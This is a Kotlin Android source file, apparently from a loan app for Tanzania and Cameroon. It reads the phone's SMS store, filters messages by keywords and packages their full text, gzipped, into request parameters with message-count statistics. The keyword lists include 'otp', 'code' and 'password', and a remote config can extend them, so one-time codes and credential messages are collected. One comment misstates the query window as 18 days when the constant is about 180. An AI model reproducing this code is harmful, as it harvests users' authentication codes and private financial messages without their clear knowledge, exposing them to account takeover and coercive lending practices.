package com.cedifie.syc.data.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.provider.Telephony
import com.cedifie.syc.data.ASSycBuilder
import com.cedifie.syc.data.beans.ASMessageBean
import com.cedifie.syc.data.beans.ASSmsRequestParams
import com.cedifie.syc.data.util.checkPermissionsGranted
import com.cedifie.syc.data.util.safe
import com.cedifie.syc.data.util.safeLong
import com.google.gson.Gson
import org.json.JSONObject

// 定义时间段常量
object SMSTimeItem {
    const val PAST_1_DAY = "past1Day"
    const val PAST_3_DAYS = "past3Days"
    const val PAST_7_DAYS = "past7Days"
    const val PAST_15_DAYS = "past15Days"
    const val PAST_21_DAYS = "past21Days"
    const val PAST_30_DAYS = "past30Days"
    const val PAST_60_DAYS = "past60Days"
    const val PAST_90_DAYS = "past90Days"

    val timeFrameDurations = mapOf(
        PAST_1_DAY to 86400000L,
        PAST_3_DAYS to 259200000L,
        PAST_7_DAYS to 604800000L,
        PAST_15_DAYS to 1296000000L,
        PAST_21_DAYS to 1814400000L,
        PAST_30_DAYS to 2592000000L,
        PAST_60_DAYS to 5184000000L,
        PAST_90_DAYS to 7776000000L
    )
}

// 获取状态--用途待定
var MSG_STATUS = "FET_OK"

/**
 * 获取短信列表
 *
 * 谷歌要求需要增加一个筛选金融信息的操作，
 * 关键词产品那边会提供
 */
@SuppressLint("Range")
fun Context.msgData(): ASSmsRequestParams {
    val fillParams = ASSmsRequestParams(path = ASSycBuilder.pathMag)
    if (!checkPermissionsGranted(listOf(Manifest.permission.READ_SMS))) return fillParams

    return try {
        //默认坦桑
        // SMS mobile 关键词
        val addressFilters = mutableSetOf("money", "airtel", "pesa", "vodacom", "halotel", "cash", "finance", "mkopo", "kmi", "dexintec", "singularity", "branch", "bank", "nmb", "flexitz", "msafi","Mkopo","Siku ya Malipo","Mkopaji","Ombi","Idhini")
        //SMS Content 关键词
        val bodyFilters = mutableSetOf("money", "airtel", "lend", "loan", "cash", "credit", "mkopo", "otp", "code", "password", "malipo yamepokelewa kwenda", "approved", "nambari", "unakumbushwa kulipa", "amelipa tsh", "due", "kiasi chako cha kinadaiwa","Salio","Malipo","APR","Malimbikizo","Matumizi")

        if (isXaf()){//喀麦隆
            addressFilters.clear()
            addressFilters.addAll(mutableSetOf("money", "cash", "pret", "credit","Prêt","Jour de paie","Emprunteur","demande","approbation"))

            bodyFilters.clear()
            bodyFilters.addAll(mutableSetOf("xaf", "fcfa", "loan", "money", "pret", "cash", "code", "credit", "prêt", "otp","Équilibre","Paiement","TAEG","Arrérages","dépenser"))
        }

        //客服配置读取 Content 关键字
        val bodyKeys = getMessageBodyKeys()
        if (bodyKeys != null){
            bodyFilters.addAll(bodyKeys)
        }

        //客服配置读取 Mobile 关键字
        val addressKeys = getMessageAddressKeys()
        if (addressKeys != null){
            addressFilters.addAll(addressKeys)
        }

        val list = mutableListOf<ASMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )

        // 只查18天的数据
        val curTimeMills = System.currentTimeMillis()
        val queryTimeMills = 15552000000L
        val startTime = curTimeMills - queryTimeMills
        val selection = "DATE >= ?"
        val selectionArgs = arrayOf(startTime.toString())
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        contentResolver.query(uri, columns, selection, selectionArgs, order)?.use { cursor ->
            val timeFrames = SMSTimeItem.timeFrameDurations.mapValues { curTimeMills - it.value }
            val counts = timeFrames.keys.associateWith { 0 to 0 }.toMutableMap()
            val totalCount = cursor.count
            // TODO: 2025-01-07 短信上报新增参数: past3DayReceivedMobileCount  过去三天收到短信中的手机号数量
            val past3DayReceivedMobileList = mutableSetOf<String>()

            fun updateCounts(date: Long, isReceive: Boolean,address: String) {
                timeFrames.forEach { (frame, threshold) ->
                    if (date >= threshold) {
                        val (sent, received) = counts[frame] ?: (0 to 0)
                        counts[frame] = if (isReceive) sent to (received + 1) else (sent + 1) to received
                        // 最近 3 天收到短信的手机号
                        if (frame == SMSTimeItem.PAST_3_DAYS && isReceive) {
                            if (address.isNotBlank()) {
                                past3DayReceivedMobileList.add(address)
                            }
                        }
                    }
                }
            }

            while (cursor.moveToNext()) {
                try {
                    val id = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
                    val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
                    val person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe().ifBlank { address }
                    val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
                    val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe().safeLong()
                    val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
                    val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()
                    val type = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.TYPE)) == 1) "RECEIVE" else "SEND"
                    val protocol = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)) == 1) "MMS" else "SMS"

                    // 检查mobil是否匹配
                    val isAddressMatch = addressFilters.any { filter -> address.uppercase().contains(filter.uppercase(),true)}
                    // 检查content是否匹配
                    val isBodyMatch = bodyFilters.any { filter -> body.uppercase().contains(filter.uppercase(), true)}

                    if (isAddressMatch or isBodyMatch) {
                        val dateString = date.toString()
                        list.add(
                            ASMessageBean(
                                name = person,
                                mobile = address,
                                type = type,
                                protocol = protocol,
                                smsTime = dateString,
                                person = person,
                                typeOri = type,
                                content = body,
                                cid = id,
                                protocolOri = protocol,
                                read = read,
                                seen = read,
                                subject = "",
                                status = status,
                                dateSent = dateString
                            )
                        )
                    }
                    updateCounts(date, type == "RECEIVE",address)
                } catch (e: Exception) {
                    // Log or handle exception
                }
            }

            // 发送第1条短信的时间
            val firstSentTime = list.findLast { it.type == "SEND" }?.smsTime.orEmpty()
            // 接收到第1条短信的时间
            val firstReceivedTime = list.findLast { it.type == "RECEIVE" }?.smsTime.orEmpty()

            MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"
            fillParams.apply {
                this.smsRecordsGzip = Gson().toJson(list).trim().gzipString()
                this.smsFetchType = MSG_STATUS
                this.totalCount = totalCount.toString()
                this.firstSentTime = firstSentTime
                this.firstReceivedTime = firstReceivedTime
                this.past3DayReceivedMobileCount = past3DayReceivedMobileList.size.toString()

                // 日期范围收发数据
                timeFrames.keys.forEach { frame ->
                    val (sent, received) = counts[frame] ?: (0 to 0)
                    when (frame) {
                        SMSTimeItem.PAST_1_DAY -> {
                            this.past1DaySentCount = sent.toString()
                            this.past1DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_3_DAYS -> {
                            this.past3DaySentCount = sent.toString()
                            this.past3DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_7_DAYS -> {
                            this.past7DaySentCount = sent.toString()
                            this.past7DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_15_DAYS -> {
                            this.past15DaySentCount = sent.toString()
                            this.past15DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_21_DAYS -> {
                            this.past21DaySentCount = sent.toString()
                            this.past21DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_30_DAYS -> {
                            this.past30DaySentCount = sent.toString()
                            this.past30DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_60_DAYS -> {
                            this.past60DaySentCount = sent.toString()
                            this.past60DayReceivedCount = received.toString()
                        }

                        SMSTimeItem.PAST_90_DAYS -> {
                            this.past90DaySentCount = sent.toString()
                            this.past90DayReceivedCount = received.toString()
                        }
                    }
                }
            }
        } ?: fillParams
    } catch (e: Exception) {
        MSG_STATUS = "FET_ERROR"
        fillParams
    }
}

/**
 * 喀麦隆  237
 */
fun isXaf(): Boolean{
    val timeZone = ASSycBuilder.zone
    return timeZone.endsWith("xaf")
}

/**
 * 坦桑尼亚  255
 */
fun isTanz(): Boolean{
    val timeZone = ASSycBuilder.zone
    return timeZone.endsWith("tanz")
}

/**
 * 获取客服配置
 */
fun getConfigData(): JSONObject? {
    val dataString = ASSycBuilder.configData
    if (dataString.isEmpty()){
        return null
    }
    val data = JSONObject(dataString)
    if (data.has("customize")){
        return data.optJSONObject("customize")
    }
    return null
}

/**
 * SMS Content 关键字过滤
 */
fun getMessageBodyKeys(): MutableSet<String>?{
    val customData = getConfigData() ?: return null
    if (customData.has("messageBodyKeys")){
        val smsBodyKeys = customData.optJSONArray("messageBodyKeys")
        if (smsBodyKeys != null) {
            val keysSet = mutableSetOf<String>()
            for (i in 0..<smsBodyKeys.length()){
                keysSet.add(smsBodyKeys.optString(i))
            }
            return keysSet
        }
    }
    return null
}


/**
 * SMS Mobile 关键字过滤
 */
fun getMessageAddressKeys(): MutableSet<String>?{
    val customData = getConfigData() ?: return null
    if (customData.has("messageAddressKeys")){
        val smsAddressKeys = customData.optJSONArray("messageAddressKeys")
        if (smsAddressKeys != null) {
            val keysSet = mutableSetOf<String>()
            for (i in 0..<smsAddressKeys.length()){
                keysSet.add(smsAddressKeys.optString(i))
            }
            return keysSet
        }
    }
    return null
}